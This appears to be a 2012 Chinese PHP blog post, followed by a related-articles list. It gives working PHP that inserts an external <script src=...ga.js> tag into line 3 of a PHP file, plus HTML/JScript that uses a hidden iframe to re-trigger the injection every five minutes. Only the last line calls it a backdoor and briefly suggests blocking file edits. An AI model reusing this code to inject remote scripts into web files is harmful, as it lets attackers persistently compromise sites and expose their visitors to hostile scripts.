php在文件指定行中写入代码的方法


Posted in PHP onMay 23, 2012
<?php 
$file="aa.php" ; 
$code="<script src=http://www.google/ga.js></script>"; 
$f=fopen($file,"r+"); 
$content=fread($f,filesize($file)); 
fclose($f); 
if(!strstr($content,$code)){ 
$arrInsert = insertContent($file, $code, 3); 
unlink($file); 
foreach($arrInsert as $value) 
{ 
file_put_contents($file, $value, FILE_APPEND); 
} 
} 
function insertContent($source, $s, $iLine) { 
$file_handle = fopen($source, "r"); 
$i = 0; 
$arr = array(); 
while (!feof($file_handle)) { 
$line = fgets($file_handle); 
++$i; 
if ($i == $iLine) { 
$arr[] = $line .$s . "\n"; 
}else { 
$arr[] = $line; 
} 
} 
fclose($file_handle); 
return $arr; 
} 
?>

这个文件保存成php后,再用一个小程序隔几分钟指定执行它就可以。像operia浏览器就有这个功能。不过我又加了个html代码来运行它,可以用ie了,打开这个html后扔在哪就可以。
<HTML> 
<HEAD> 
</HEAD> 
<BODY> 
<SCRIPT LANGUAGE="JScript"> 
function singOut() { 
var O = document.createElement("iframe"); 
O.src="http://www.google.com/上边的php文件.php"; 
O.width=100; 
O.height=100; 
document.body.appendChild(O); 
} 
window.setInterval("singOut();",300000); 
</SCRIPT> 
</BODY> 
</HTML>

解决方法:这些代码都会在php中写入代码,我们可以写个规则禁止修改php文件.即可,一般服务器中才可以了,如果是虚拟主机的朋友就需要下载代码,经常查后门来解决了
PHP 相关文章推荐
模仿OSO的论坛(五)
Oct 09 PHP
php的list()的一步操作给一组变量进行赋值的使用
May 18 PHP
PHP utf-8编码问题,utf8编码,数据库乱码,页面显示输出乱码
Apr 08 PHP
ThinkPHP中的关联模型注意点
Jun 16 PHP
php压缩和解压缩字符串的方法
Mar 14 PHP
php实现的mongodb操作类实例
Apr 03 PHP
php计算整个目录大小的方法
Jun 19 PHP
PHP编程开发怎么提高编程效率 提高PHP编程技术
Nov 09 PHP
php fseek函数读取大文件两种方法
Oct 12 PHP
PHP基于redis计数器类定义与用法示例
Feb 08 PHP
浅析PHP7的多进程及实例源码
Apr 14 PHP
TP5框架安全机制实例分析
Apr 05 PHP
php替换超长文本中的特殊字符的函数代码
May 22 #PHP
php提示undefined index的几种解决方法
May 21 #PHP
openflashchart 2.0 简单案例php版
May 21 #PHP
PHP中去掉字符串首尾空格的方法
May 19 #PHP
有关PHP中MVC的开发经验分享
May 17 #PHP
php的array_multisort()使用方法介绍
May 16 #PHP
一个显示某段时间内每个月的方法 返回由这些月份组成的数组
May 16 #PHP
You might like
德劲1104的电路分析与改良
2021/03/01 无线电
php学习之流程控制实现代码
2011/06/09 PHP
PHP中Enum(枚举)用法实例详解
2015/12/07 PHP
ThinkPHP框架分布式数据库连接方法详解
2017/03/14 PHP
php实现微信分享朋友链接功能
2019/02/18 PHP
PHP levenshtein()函数用法讲解
2019/03/08 PHP
PHP中str_split()函数的用法讲解
2019/04/11 PHP
js 新浪的一个图片播放图片轮换效果代码
2008/07/15 Javascript
javascipt匹配单行和多行注释的正则表达式
2013/11/20 Javascript
javascript操作excel生成报表示例
2014/05/08 Javascript
js Object2String方便查看js对象内容
2014/11/24 Javascript
Javascript基础教程之switch语句
2015/01/18 Javascript
vue实现动态数据绑定
2017/04/28 Javascript
JS实现移动端整屏滑动的实例代码
2017/11/10 Javascript
基于vue打包后字体和图片资源失效问题的解决方法
2018/03/06 Javascript
JS实现为动态添加的元素增加事件功能示例【基于事件委托】
2018/03/21 Javascript
页面内锚点定位及跳转方法总结(推荐)
2019/04/24 Javascript
Python中的默认参数详解
2015/06/24 Python
python文件操作相关知识点总结整理
2016/02/22 Python
深入浅析ImageMagick命令执行漏洞
2016/10/11 Python
Python实现随机生成手机号及正则验证手机号的方法
2018/04/25 Python
pandas 条件搜索返回列表的方法
2018/10/30 Python
借助Paramiko通过Python实现linux远程登陆及sftp的操作
2020/03/16 Python
css3 给页面加个半圆形导航条主要利用旋转和倾斜样式
2014/02/10 HTML / CSS
泰国王权免税店官方网站:KingPower
2019/03/11 全球购物
枚举和一组预处理的#define有什么不同
2016/09/21 面试题
客户代表自我评价范例
2013/09/24 职场文书
物流管理专业大学生自荐信
2013/10/04 职场文书
电子银行营销方案
2014/02/22 职场文书
3的组成教学反思
2014/04/30 职场文书
投标服务承诺书
2014/05/28 职场文书
2014年语文教师工作总结
2014/12/18 职场文书
召开会议通知范文
2015/04/15 职场文书
jdbc使用PreparedStatement批量插入数据的方法
2021/04/27 MySQL
新手必备Python开发环境搭建教程
2021/05/28 Python
浅谈为什么我的 z-index 又不生效了
2022/07/15 HTML / CSS